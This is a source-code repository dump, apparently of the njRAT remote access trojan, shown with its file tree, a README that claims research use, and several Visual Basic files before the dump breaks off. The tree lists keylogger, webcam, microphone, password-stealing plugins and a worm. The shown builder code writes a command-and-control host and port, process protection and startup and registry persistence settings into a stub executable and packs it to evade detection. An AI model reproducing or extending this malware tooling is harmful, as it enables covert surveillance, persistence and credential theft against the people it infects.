├── .gitattributes ├── .gitignore ├── Builder ├── New Stub njRAT.sln ├── NewBuild │ ├── App.config │ ├── Form1.Designer.vb │ ├── Form1.resx │ ├── Form1.vb │ ├── My Project │ │ ├── Application.Designer.vb │ │ ├── Application.myapp │ │ ├── AssemblyInfo.vb │ │ ├── Resources.Designer.vb │ │ ├── Resources.resx │ │ ├── Settings.Designer.vb │ │ └── Settings.settings │ ├── NewBuild.vbproj │ └── Resources │ │ └── mpress.exe └── NewStub │ ├── App.config │ ├── My Project │ ├── Application.Designer.vb │ ├── Application.myapp │ ├── AssemblyInfo.vb │ ├── Resources.Designer.vb │ ├── Resources.resx │ ├── Settings.Designer.vb │ └── Settings.settings │ ├── NewStub.vbproj │ ├── OK.vb │ └── kl.vb ├── LICENSE ├── README.md ├── njRAT ├── NjRAT │ ├── Arquivos │ │ ├── GeoIP.dat │ │ ├── Plugin │ │ │ ├── cam.dll │ │ │ ├── ch.dll │ │ │ ├── mic.dll │ │ │ ├── plg.dll │ │ │ ├── pw.dll │ │ │ └── sc2.dll │ │ ├── Stub.il │ │ └── Stub.manifest │ ├── Forms │ │ ├── About.Designer.vb │ │ ├── About.resx │ │ ├── About.vb │ │ ├── Builder.Designer.vb │ │ ├── Builder.resx │ │ ├── Builder.vb │ │ ├── Cam.Designer.vb │ │ ├── Cam.resx │ │ ├── Cam.vb │ │ ├── Chat.Designer.vb │ │ ├── Chat.resx │ │ ├── Chat.vb │ │ ├── DW.Designer.vb │ │ ├── DW.resx │ │ ├── DW.vb │ │ ├── FURL.Designer.vb │ │ ├── FURL.resx │ │ ├── FURL.vb │ │ ├── Form1.Designer.vb │ │ ├── Form1.resx │ │ ├── Form1.vb │ │ ├── FromLink.Designer.vb │ │ ├── FromLink.resx │ │ ├── FromLink.vb │ │ ├── Manager.Designer.vb │ │ ├── Manager.resx │ │ ├── Manager.vb │ │ ├── Mic.Designer.vb │ │ ├── Mic.resx │ │ ├── Mic.vb │ │ ├── Note.Designer.vb │ │ ├── Note.resx │ │ ├── Note.vb │ │ ├── Pass.Designer.vb │ │ ├── Pass.resx │ │ ├── Pass.vb │ │ ├── RGv.Designer.vb │ │ ├── RGv.resx │ │ ├── RGv.vb │ │ ├── STNG.Designer.vb │ │ ├── STNG.resx │ │ ├── STNG.vb │ │ ├── kl.Designer.vb │ │ ├── kl.resx │ │ ├── kl.vb │ │ ├── notf.Designer.vb │ │ ├── notf.resx │ │ ├── notf.vb │ │ ├── port.Designer.vb │ │ ├── port.resx │ │ ├── port.vb │ │ ├── sc.Designer.vb │ │ ├── sc.resx │ │ ├── sc.vb │ │ ├── script.Designer.vb │ │ ├── script.resx │ │ ├── script.vb │ │ ├── up.Designer.vb │ │ ├── up.resx │ │ └── up.vb │ ├── Modules │ │ ├── ApplicationEvents.vb │ │ ├── Class6.vb │ │ ├── Class7.vb │ │ ├── Client.vb │ │ ├── GClass12.vb │ │ ├── GClass2.vb │ │ ├── GClass3.vb │ │ ├── GClass4.vb │ │ ├── GClass5.vb │ │ ├── GClass6.vb │ │ ├── GClass7.vb │ │ ├── GClass8.vb │ │ ├── GClass9.vb │ │ ├── IconN.vb │ │ ├── L1.vb │ │ ├── Pp1.vb │ │ └── SK.vb │ ├── My Project │ │ ├── Application.Designer.vb │ │ ├── Application.myapp │ │ ├── AssemblyInfo.vb │ │ ├── Resources.Designer.vb │ │ ├── Resources.resx │ │ ├── Settings.Designer.vb │ │ ├── Settings.settings │ │ └── app.manifest │ ├── NJRAT 2.vshost.exe.config │ ├── NJRAT.exe.config │ ├── NJRAT.vshost.exe │ ├── NJRAT.vshost.exe.config │ ├── NJRAT.vshost.exe.manifest │ ├── NJRAT.xml │ ├── NjRat.sln │ ├── NjRat.vbproj │ ├── Referencias │ │ └── WinMM.Net.dll │ ├── Resources │ │ ├── JPEG.png │ │ ├── bullet_arrow_down.png │ │ ├── bullet_arrow_up.png │ │ ├── control_pause_blue.bmp │ │ ├── control_play_blue.bmp │ │ └── icon.Ico │ ├── app.config │ └── icon.Ico └── Stub │ ├── A.vb │ ├── Kl.vb │ └── OK.VB ├── njRDP ├── Client │ ├── Client.sln │ └── Client │ │ ├── Client.vbproj │ │ ├── Form1.Designer.vb │ │ ├── Form1.resx │ │ ├── Form1.vb │ │ ├── Func.vb │ │ ├── My Project │ │ ├── Application.Designer.vb │ │ ├── Application.myapp │ │ ├── AssemblyInfo.vb │ │ ├── Resources.Designer.vb │ │ ├── Resources.resx │ │ ├── Settings.Designer.vb │ │ └── Settings.settings │ │ ├── SocketClient.vb │ │ └── cRDP.vb └── RDP │ ├── RDP.sln │ └── RDP │ ├── Cap.Designer.vb │ ├── Cap.resx │ ├── Cap.vb │ ├── Form1.Designer.vb │ ├── Form1.resx │ ├── Form1.vb │ ├── Func.vb │ ├── My Project │ ├── Application.Designer.vb │ ├── Application.myapp │ ├── AssemblyInfo.vb │ ├── Resources.Designer.vb │ ├── Resources.resx │ ├── Settings.Designer.vb │ └── Settings.settings │ ├── RDP.vbproj │ └── SocketServer.vb └── njWorm ├── njw0rm.sln ├── njw0rm ├── About.Designer.vb ├── About.resx ├── About.vb ├── FN.vb ├── FURL.designer.vb ├── FURL.resx ├── FURL.vb ├── Form1.Designer.vb ├── Form1.resx ├── Form1.vb ├── Form2.Designer.vb ├── Form2.resx ├── Form2.vb ├── Generic.ico ├── LV.designer.vb ├── LV.vb ├── My Project │ ├── Application.Designer.vb │ ├── Application.myapp │ ├── AssemblyInfo.vb │ ├── Resources.Designer.vb │ ├── Resources.resx │ ├── Settings.Designer.vb │ └── Settings.settings ├── Resources │ ├── About.exe │ └── src.txt.au3 ├── njdb.vb ├── njw0rm.vbproj ├── pwd.Designer.vb ├── pwd.resx └── pwd.vb └── src.txt.au3 /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /Builder/New Stub njRAT.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Express 2012 for Windows Desktop 4 | Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "NewStub", "NewStub\NewStub.vbproj", "{A6DB650D-B71B-4FA0-BCF8-867E3B6E8217}" 5 | EndProject 6 | Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "NewBuild", "NewBuild\NewBuild.vbproj", "{B5658322-5B58-46AC-BA9C-36789E592418}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {A6DB650D-B71B-4FA0-BCF8-867E3B6E8217}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {A6DB650D-B71B-4FA0-BCF8-867E3B6E8217}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {A6DB650D-B71B-4FA0-BCF8-867E3B6E8217}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {A6DB650D-B71B-4FA0-BCF8-867E3B6E8217}.Release|Any CPU.Build.0 = Release|Any CPU 18 | {B5658322-5B58-46AC-BA9C-36789E592418}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 19 | {B5658322-5B58-46AC-BA9C-36789E592418}.Debug|Any CPU.Build.0 = Debug|Any CPU 20 | {B5658322-5B58-46AC-BA9C-36789E592418}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {B5658322-5B58-46AC-BA9C-36789E592418}.Release|Any CPU.Build.0 = Release|Any CPU 22 | EndGlobalSection 23 | GlobalSection(SolutionProperties) = preSolution 24 | HideSolutionNode = FALSE 25 | EndGlobalSection 26 | EndGlobal 27 | -------------------------------------------------------------------------------- /Builder/NewBuild/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Builder/NewBuild/Form1.vb: -------------------------------------------------------------------------------- 1 | Imports System.Text 2 | Imports System.IO 3 | Imports System.Threading 4 | 5 | Public Class Form1 6 | 7 | Private Function III(ByVal name As String) As String 8 | Return Convert.ToBase64String(Encoding.UTF8.GetBytes(name)) 9 | End Function 10 | 11 | Private Sub btn_OK_Click(sender As Object, e As EventArgs) Handles btn_OK.Click 12 | 13 | Dim I As New SaveFileDialog 14 | 15 | I.Title = "Save File" 16 | 17 | I.Filter = "Executable(*.exe)|*.exe|All Files (*.*)|*.*" 18 | 19 | If I.ShowDialog = DialogResult.OK Then 20 | 21 | Dim Y As String = "|ST|" 22 | 23 | Dim Stub As String 24 | 25 | FileOpen(1, "Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default) 26 | 27 | Stub = Space(LOF(1)) 28 | 29 | FileGet(1, Stub) 30 | 31 | FileClose(1) 32 | 33 | '||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| 34 | 35 | FileOpen(1, I.FileName, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default) 36 | 37 | FilePut(1, Stub & Y & III(vt_txt.Text) & Y & TXT_Host.Text & Y & nd_port.Value & Y & CK_Copy.Checked.ToString & Y & process_txt.Text & Y & CB_Directory.Text & Y & CK_Msgbox.Checked.ToString & Y & title_text.Text & Y & message_text.Text & Y & CK_ProtectProcess.Checked.ToString & Y & CK_CopyStartUp.Checked.ToString & Y & CK_RegistryStartUp.Checked.ToString & Y) 38 | 39 | FileClose(1) 40 | If Me.CKUpx.Checked Then 41 | Application.DoEvents() 42 | If Not Directory.Exists((Application.StartupPath & "\UPX")) Then 43 | Directory.CreateDirectory((Application.StartupPath & "\UPX")) 44 | End If 45 | Thread.Sleep(50) 46 | If Not File.Exists((Application.StartupPath & "\UPX\mpress.exe")) Then 47 | Dim mpress As Byte() = My.Resources.mpress 48 | File.WriteAllBytes((Application.StartupPath & "\UPX\mpress.exe"), mpress) 49 | End If 50 | Thread.Sleep(50) 51 | Shell(("cmd.exe /C UPX\mpress.exe -s """ & I.FileName & """"), AppWinStyle.NormalFocus, True, -1) 52 | End If 53 | MsgBox("File Builded To" & vbNewLine & I.FileName, MsgBoxStyle.Information, "DONE!") 54 | End If 55 | End Sub 56 | 57 | Private Sub CK_Msgbox_CheckedChanged(sender As Object, e As EventArgs) Handles CK_Msgbox.CheckedChanged 58 | If CK_Msgbox.Checked = True Then 59 | GB_Message.Enabled = True 60 | Else 61 | GB_Message.Enabled = False 62 | End If 63 | End Sub 64 | 65 | Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load 66 | CB_Directory.SelectedIndex = 0 67 | End Sub 68 | 69 | Private Sub CK_Copy_CheckedChanged(sender As Object, e As EventArgs) Handles CK_Copy.CheckedChanged 70 | If CK_Copy.Checked = True Then 71 | GB_DER.Enabled = True 72 | Else 73 | GB_DER.Enabled = False 74 | End If 75 | 76 | End Sub 77 | End Class 78 | -------------------------------------------------------------------------------- /Builder/NewBuild/My Project/Application.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.17929 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My 16 | 17 | 'NOTE: This file is auto-generated; do not modify it directly. To make changes, 18 | ' or if you encounter build errors in this file, go to the Project Designer 19 | ' (go to Project Properties or double-click the My Project node in 20 | ' Solution Explorer), and make changes on the Application tab. 21 | ' 22 | Partial Friend Class MyApplication 23 | 24 | _ 25 | Public Sub New() 26 | MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) 27 | Me.IsSingleInstance = false 28 | Me.EnableVisualStyles = true 29 | Me.SaveMySettingsOnExit = true 30 | Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses 31 | End Sub 32 | 33 | _ 34 | Protected Overrides Sub OnCreateMainForm() 35 | Me.MainForm = Global.NewBuild.Form1 36 | End Sub 37 | End Class 38 | End Namespace 39 | -------------------------------------------------------------------------------- /Builder/NewBuild/My Project/Application.myapp: -------------------------------------------------------------------------------- 1 |  2 | 3 | true 4 | Form1 5 | false 6 | 0 7 | true 8 | 0 9 | 0 10 | true 11 | 12 | -------------------------------------------------------------------------------- /Builder/NewBuild/My Project/AssemblyInfo.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Reflection 3 | Imports System.Runtime.InteropServices 4 | 5 | ' Informações gerais sobre um assembly são controladas através do seguinte 6 | ' conjunto de atributos. Altere o valor destes atributos para modificar a informação 7 | ' associada a um assembly. 8 | 9 | ' Revise os valores dos atributos do assembly 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 'O GUID a seguir é para o ID da typelib se este projeto for exposto para COM 21 | 22 | 23 | ' Informação de versão para um assembly consiste nos quatro valores a seguir: 24 | ' 25 | ' Versão Principal 26 | ' Versão Secundária 27 | ' Número da Versão 28 | ' Revisão 29 | ' 30 | ' É possível especificar todos os valores ou usar o padrão de números da Compilação e de Revisão 31 | ' utilizando o '*' como mostrado abaixo: 32 | ' 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /Builder/NewBuild/My Project/Resources.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.42000 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | Imports System 15 | 16 | Namespace My.Resources 17 | 18 | 'This class was auto-generated by the StronglyTypedResourceBuilder 19 | 'class via a tool like ResGen or Visual Studio. 20 | 'To add or remove a member, edit your .ResX file then rerun ResGen 21 | 'with the /str option, or rebuild your VS project. 22 | ''' 23 | ''' A strongly-typed resource class, for looking up localized strings, etc. 24 | ''' 25 | _ 29 | Friend Module Resources 30 | 31 | Private resourceMan As Global.System.Resources.ResourceManager 32 | 33 | Private resourceCulture As Global.System.Globalization.CultureInfo 34 | 35 | ''' 36 | ''' Returns the cached ResourceManager instance used by this class. 37 | ''' 38 | _ 39 | Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager 40 | Get 41 | If Object.ReferenceEquals(resourceMan, Nothing) Then 42 | Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("NewBuild.Resources", GetType(Resources).Assembly) 43 | resourceMan = temp 44 | End If 45 | Return resourceMan 46 | End Get 47 | End Property 48 | 49 | ''' 50 | ''' Overrides the current thread's CurrentUICulture property for all 51 | ''' resource lookups using this strongly typed resource class. 52 | ''' 53 | _ 54 | Friend Property Culture() As Global.System.Globalization.CultureInfo 55 | Get 56 | Return resourceCulture 57 | End Get 58 | Set 59 | resourceCulture = value 60 | End Set 61 | End Property 62 | 63 | ''' 64 | ''' Looks up a localized resource of type System.Byte[]. 65 | ''' 66 | Friend ReadOnly Property mpress() As Byte() 67 | Get 68 | Dim obj As Object = ResourceManager.GetObject("mpress", resourceCulture) 69 | Return CType(obj,Byte()) 70 | End Get 71 | End Property 72 | End Module 73 | End Namespace 74 | -------------------------------------------------------------------------------- /Builder/NewBuild/My Project/Settings.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.17929 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My 16 | 17 | _ 20 | Partial Friend NotInheritable Class MySettings 21 | Inherits Global.System.Configuration.ApplicationSettingsBase 22 | 23 | Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings), MySettings) 24 | 25 | #Region "My.Settings Auto-Save Functionality" 26 | #If _MyType = "WindowsForms" Then 27 | Private Shared addedHandler As Boolean 28 | 29 | Private Shared addedHandlerLockObject As New Object 30 | 31 | _ 32 | Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) 33 | If My.Application.SaveMySettingsOnExit Then 34 | My.Settings.Save() 35 | End If 36 | End Sub 37 | #End If 38 | #End Region 39 | 40 | Public Shared ReadOnly Property [Default]() As MySettings 41 | Get 42 | 43 | #If _MyType = "WindowsForms" Then 44 | If Not addedHandler Then 45 | SyncLock addedHandlerLockObject 46 | If Not addedHandler Then 47 | AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings 48 | addedHandler = True 49 | End If 50 | End SyncLock 51 | End If 52 | #End If 53 | Return defaultInstance 54 | End Get 55 | End Property 56 | End Class 57 | End Namespace 58 | 59 | Namespace My 60 | 61 | _ 64 | Friend Module MySettingsProperty 65 | 66 | _ 67 | Friend ReadOnly Property Settings() As Global.NewBuild.My.MySettings 68 | Get 69 | Return Global.NewBuild.My.MySettings.Default 70 | End Get 71 | End Property 72 | End Module 73 | End Namespace 74 | -------------------------------------------------------------------------------- /Builder/NewBuild/My Project/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /Builder/NewBuild/Resources/mpress.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/njRAT/539aa13375473d9c9bf74e81e65bb34bdb348a30/Builder/NewBuild/Resources/mpress.exe -------------------------------------------------------------------------------- /Builder/NewStub/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /Builder/NewStub/My Project/Application.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' O código foi gerado por uma ferramenta. 4 | ' Versão de Tempo de Execução:4.0.30319.17929 5 | ' 6 | ' As alterações ao arquivo poderão causar comportamento incorreto e serão perdidas se 7 | ' o código for gerado novamente. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | -------------------------------------------------------------------------------- /Builder/NewStub/My Project/Application.myapp: -------------------------------------------------------------------------------- 1 |  2 | 3 | false 4 | Form1 5 | false 6 | 0 7 | true 8 | 0 9 | true 10 | -------------------------------------------------------------------------------- /Builder/NewStub/My Project/AssemblyInfo.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Reflection 3 | Imports System.Runtime.InteropServices 4 | 5 | ' Informações gerais sobre um assembly são controladas através do seguinte 6 | ' conjunto de atributos. Altere o valor destes atributos para modificar a informação 7 | ' associada a um assembly. 8 | 9 | ' Revise os valores dos atributos do assembly 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 'O GUID a seguir é para o ID da typelib se este projeto for exposto para COM 21 | 22 | 23 | ' Informação de versão para um assembly consiste nos quatro valores a seguir: 24 | ' 25 | ' Versão Principal 26 | ' Versão Secundária 27 | ' Número da Versão 28 | ' Revisão 29 | ' 30 | ' É possível especificar todos os valores ou usar o padrão de números da Compilação e de Revisão 31 | ' utilizando o '*' como mostrado abaixo: 32 | ' 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /Builder/NewStub/My Project/Resources.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' O código foi gerado por uma ferramenta. 4 | ' Versão de Tempo de Execução:4.0.30319.17929 5 | ' 6 | ' As alterações ao arquivo poderão causar comportamento incorreto e serão perdidas se 7 | ' o código for gerado novamente. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | Imports System 15 | 16 | Namespace My.Resources 17 | 18 | 'Essa classe foi gerada automaticamente pela classe StronglyTypedResourceBuilder 19 | 'através de uma ferramenta como ResGen ou Visual Studio. 20 | 'Para adicionar ou remover um associado, edite o arquivo .ResX e execute ResGen novamente 21 | 'com a opção /str, ou recrie o projeto do VS. 22 | ''' 23 | ''' Uma classe de recurso de tipo de alta segurança, para pesquisar cadeias de caracteres localizadas etc. 24 | ''' 25 | _ 29 | Friend Module Resources 30 | 31 | Private resourceMan As Global.System.Resources.ResourceManager 32 | 33 | Private resourceCulture As Global.System.Globalization.CultureInfo 34 | 35 | ''' 36 | ''' Retorna a instância de ResourceManager armazenada em cache usada por essa classe. 37 | ''' 38 | _ 39 | Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager 40 | Get 41 | If Object.ReferenceEquals(resourceMan, Nothing) Then 42 | Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("NewStub.Resources", GetType(Resources).Assembly) 43 | resourceMan = temp 44 | End If 45 | Return resourceMan 46 | End Get 47 | End Property 48 | 49 | ''' 50 | ''' Substitui a propriedade CurrentUICulture do thread atual para todas as 51 | ''' pesquisas de recursos que usam essa classe de recurso de tipo de alta segurança. 52 | ''' 53 | _ 54 | Friend Property Culture() As Global.System.Globalization.CultureInfo 55 | Get 56 | Return resourceCulture 57 | End Get 58 | Set 59 | resourceCulture = value 60 | End Set 61 | End Property 62 | End Module 63 | End Namespace 64 | -------------------------------------------------------------------------------- /Builder/NewStub/My Project/Settings.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' O código foi gerado por uma ferramenta. 4 | ' Versão de Tempo de Execução:4.0.30319.17929 5 | ' 6 | ' As alterações ao arquivo poderão causar comportamento incorreto e serão perdidas se 7 | ' o código for gerado novamente. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My 16 | 17 | _ 20 | Partial Friend NotInheritable Class MySettings 21 | Inherits Global.System.Configuration.ApplicationSettingsBase 22 | 23 | Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) 24 | 25 | #Region "Funcionalidade de Salvamento Automático de Minhas Configurações" 26 | #If _MyType = "WindowsForms" Then 27 | Private Shared addedHandler As Boolean 28 | 29 | Private Shared addedHandlerLockObject As New Object 30 | 31 | _ 32 | Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) 33 | If My.Application.SaveMySettingsOnExit Then 34 | My.Settings.Save() 35 | End If 36 | End Sub 37 | #End If 38 | #End Region 39 | 40 | Public Shared ReadOnly Property [Default]() As MySettings 41 | Get 42 | 43 | #If _MyType = "WindowsForms" Then 44 | If Not addedHandler Then 45 | SyncLock addedHandlerLockObject 46 | If Not addedHandler Then 47 | AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings 48 | addedHandler = True 49 | End If 50 | End SyncLock 51 | End If 52 | #End If 53 | Return defaultInstance 54 | End Get 55 | End Property 56 | End Class 57 | End Namespace 58 | 59 | Namespace My 60 | 61 | _ 64 | Friend Module MySettingsProperty 65 | 66 | _ 67 | Friend ReadOnly Property Settings() As Global.NewStub.My.MySettings 68 | Get 69 | Return Global.NewStub.My.MySettings.Default 70 | End Get 71 | End Property 72 | End Module 73 | End Namespace 74 | -------------------------------------------------------------------------------- /Builder/NewStub/My Project/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # njRAT 2 | njRAT SRC Extract 3 | #### All responsibilities are at your own risk. 4 | #### Please use it only for research purposes. 5 | -------------------------------------------------------------------------------- /njRAT/NjRAT/Arquivos/GeoIP.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/njRAT/539aa13375473d9c9bf74e81e65bb34bdb348a30/njRAT/NjRAT/Arquivos/GeoIP.dat -------------------------------------------------------------------------------- /njRAT/NjRAT/Arquivos/Plugin/cam.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/njRAT/539aa13375473d9c9bf74e81e65bb34bdb348a30/njRAT/NjRAT/Arquivos/Plugin/cam.dll -------------------------------------------------------------------------------- /njRAT/NjRAT/Arquivos/Plugin/ch.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/njRAT/539aa13375473d9c9bf74e81e65bb34bdb348a30/njRAT/NjRAT/Arquivos/Plugin/ch.dll -------------------------------------------------------------------------------- /njRAT/NjRAT/Arquivos/Plugin/mic.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/njRAT/539aa13375473d9c9bf74e81e65bb34bdb348a30/njRAT/NjRAT/Arquivos/Plugin/mic.dll -------------------------------------------------------------------------------- /njRAT/NjRAT/Arquivos/Plugin/plg.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/njRAT/539aa13375473d9c9bf74e81e65bb34bdb348a30/njRAT/NjRAT/Arquivos/Plugin/plg.dll -------------------------------------------------------------------------------- /njRAT/NjRAT/Arquivos/Plugin/pw.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/njRAT/539aa13375473d9c9bf74e81e65bb34bdb348a30/njRAT/NjRAT/Arquivos/Plugin/pw.dll -------------------------------------------------------------------------------- /njRAT/NjRAT/Arquivos/Plugin/sc2.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/njRAT/539aa13375473d9c9bf74e81e65bb34bdb348a30/njRAT/NjRAT/Arquivos/Plugin/sc2.dll -------------------------------------------------------------------------------- /njRAT/NjRAT/Arquivos/Stub.manifest: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /njRAT/NjRAT/Forms/About.Designer.vb: -------------------------------------------------------------------------------- 1 |  _ 2 | Partial Class About 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(About)) 26 | Me.PictureBox1 = New System.Windows.Forms.PictureBox() 27 | Me.RichTextBox1 = New System.Windows.Forms.RichTextBox() 28 | CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit() 29 | Me.SuspendLayout() 30 | ' 31 | 'PictureBox1 32 | ' 33 | Me.PictureBox1.Dock = System.Windows.Forms.DockStyle.Left 34 | Me.PictureBox1.Image = CType(resources.GetObject("PictureBox1.Image"), System.Drawing.Image) 35 | Me.PictureBox1.Location = New System.Drawing.Point(0, 0) 36 | Me.PictureBox1.Name = "PictureBox1" 37 | Me.PictureBox1.Size = New System.Drawing.Size(198, 147) 38 | Me.PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage 39 | Me.PictureBox1.TabIndex = 0 40 | Me.PictureBox1.TabStop = False 41 | ' 42 | 'RichTextBox1 43 | ' 44 | Me.RichTextBox1.BackColor = System.Drawing.Color.Black 45 | Me.RichTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None 46 | Me.RichTextBox1.Dock = System.Windows.Forms.DockStyle.Fill 47 | Me.RichTextBox1.ForeColor = System.Drawing.Color.LightSlateGray 48 | Me.RichTextBox1.Location = New System.Drawing.Point(198, 0) 49 | Me.RichTextBox1.Name = "RichTextBox1" 50 | Me.RichTextBox1.ReadOnly = True 51 | Me.RichTextBox1.Size = New System.Drawing.Size(228, 147) 52 | Me.RichTextBox1.TabIndex = 1 53 | Me.RichTextBox1.Text = "" 54 | ' 55 | 'About 56 | ' 57 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 58 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 59 | Me.BackColor = System.Drawing.SystemColors.ActiveCaptionText 60 | Me.ClientSize = New System.Drawing.Size(426, 147) 61 | Me.Controls.Add(Me.RichTextBox1) 62 | Me.Controls.Add(Me.PictureBox1) 63 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedToolWindow 64 | Me.MaximizeBox = False 65 | Me.MinimizeBox = False 66 | Me.Name = "About" 67 | Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen 68 | Me.Text = "About" 69 | CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).EndInit() 70 | Me.ResumeLayout(False) 71 | 72 | End Sub 73 | Friend WithEvents PictureBox1 As System.Windows.Forms.PictureBox 74 | Friend WithEvents RichTextBox1 As System.Windows.Forms.RichTextBox 75 | End Class 76 | -------------------------------------------------------------------------------- /njRAT/NjRAT/Forms/About.vb: 